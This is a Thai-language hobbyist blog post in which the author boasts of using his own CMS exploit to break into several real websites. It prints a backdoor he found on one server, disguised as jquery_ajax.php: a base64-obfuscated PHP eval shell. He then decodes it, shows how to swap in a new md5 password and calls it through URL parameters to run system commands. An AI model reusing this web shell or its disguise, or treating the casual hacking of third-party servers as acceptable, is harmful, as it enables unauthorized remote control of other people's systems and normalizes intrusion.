หน้าเว็บ

วันศุกร์ที่ 27 เมษายน พ.ศ. 2555

แฉ Shell.php ของฝรั่ง ที่ผมไปแฮคเจอมา !!


          สวัสดีครับห่างหายไปนานกับการเขียนบล๊อกพอสมควรเนื่องจากอยู่ในช่วงปิดเทอมและผมก็กลับบ้า่นด้วย วันนี้มีโอกาสมาหอเลยเขียนบทความลงบล๊อกซะหน่อยไม่ให้บล๊อกร้าง 55
          เรื่องมันมีอยู่ว่าผมได้เขียน Exploit ไว้เจาะ Web Application ซึ่งเ้ป็น CMS ตัวนึงมีเว็บที่ใช้ CMS นี้เยอะเลยทีเดียวนะ ผมก็ทดสอบกับหลายๆเว็บ ปรากฏว่าผ่าน เมื่อผมเจาะไปวาง Shell ของผมได้แล้วผมก็ทำการสำรวจเจอไฟล์แปลกๆชื่อ jquery_ajax.php ที่เพิ่งสร้างเมื่อไม่นานมานี้



          ด้วยความสงสัยผมก็เลยเอาบอทอ่านไฟล์ jquery_ajax.php ว่าข้างในมีโค้ดอะไรอยู่...

<?php eval(base64_decode('ZWNobyAifDBYMXwiOyBpZiAobWQ1KCRfUkVRVUVTVFsncCddKT09JzQwYTk3YWFlM2ExZjBkNTFjMjM3MDRjZGQ2OTUxZDg1Jyl7ZXZhbChzdHJpcHNsYXNoZXMoJF9SRVFVRVNUWydjJ10pKTt9IGVjaG8gInwwWDJ8Ijs='));?>

          จะได้โค้ดดังกล่าวมาเป็น eval(base64_decode()) ผมเลยจัดการ decode base64 ออกมาก็จะได้เป็น..

echo "|0X1|";
if (md5($_REQUEST['p'])=='40a97aae3a1f0d51c23704cdd6951d85'){
 eval(stripslashes($_REQUEST['c']));
} 
echo "|0X2|";

          อ่า decode ออกมาค่อยอ่านง่ายๆหน่อย :) หลักการใช้ Shell ตัวนี้ของฝรั่งคือมันจะมีการเข้ารหัส md5 อยู่ครับซึ่งเราต้องถอด md5 ให้ออกก่อนนะแต่นี่มันเข้ารหัสอะไรมาก็ไม่รู้ ผมลองเปลี่ยน md5 ของมันจาก 40a97aae3a1f0d51c23704cdd6951d85 มาเป็น 202cb962ac59075b964b07152d234b70 นะครับ ( 123 ) ส่วนการเรียกใช้จะเห็นได้ว่ามีการตรวจสอบเงื่อนไข if อยู่จากค่าที่มาจาก $_REQUEST ( $_REQUEST ก็คล้ายๆ $_GET นั้นแหละ ) ตรวจสอบว่าใช่ค่าของ md5 รึเปล่าถ้าเป็นจริง ก็อนุญาตให้เราใช้ Shell.php นี้ได้ด้วยฟังก์ชั่น eval() ครับ...

          ซึ่งการเรียกใช้ก็จะเป็นแบบนี้นะครับ...

http://localhost/jquery_ajax.php?p=[ค่าที่ถอดมาจาก md5]&c=[คำสั่งที่จะสั่ง shell]

          โดยที่พารามิเตอร์ p จะรับค่า md5 ที่ถูกต้องและพารามิเตอร์ c จะรับคำสั่งที่เราต้องการสั่ง Shell.php นั้นนะครับ คราวนี้ผมจะลองสั่งดูบ้างโดยลองใน localhost ของผมเองนะ..

http://localhost/jquery_ajax.php?p=123&c=system("dir");

          อย่างที่บอกไ้ว้ข้างต้นคือผมถอด md5 มันไม่ได้เลยเอา 123 ง่ายๆครับ ส่งค่าเข้าไปผลลัพธ์ที่ได้ก็จะได้เป็นแบบนี้ครับผม...


           เรียบร้อยครับคราวนี้ก็ใช้ Shell ของฝรั่งได้แล้วแต่ผมไม่ได้ใช้หรอกผมลบ Shell นี้ทิ้งจาก Server เหยื่อไปแล้ว :) ขอจบบทความแฉ Shell.php ของฝรั่งเพียงเท่านี้ครับ ขอบคุณที่อ่านจนจบครับผม ,, ICheer_No0M

1 ความคิดเห็น: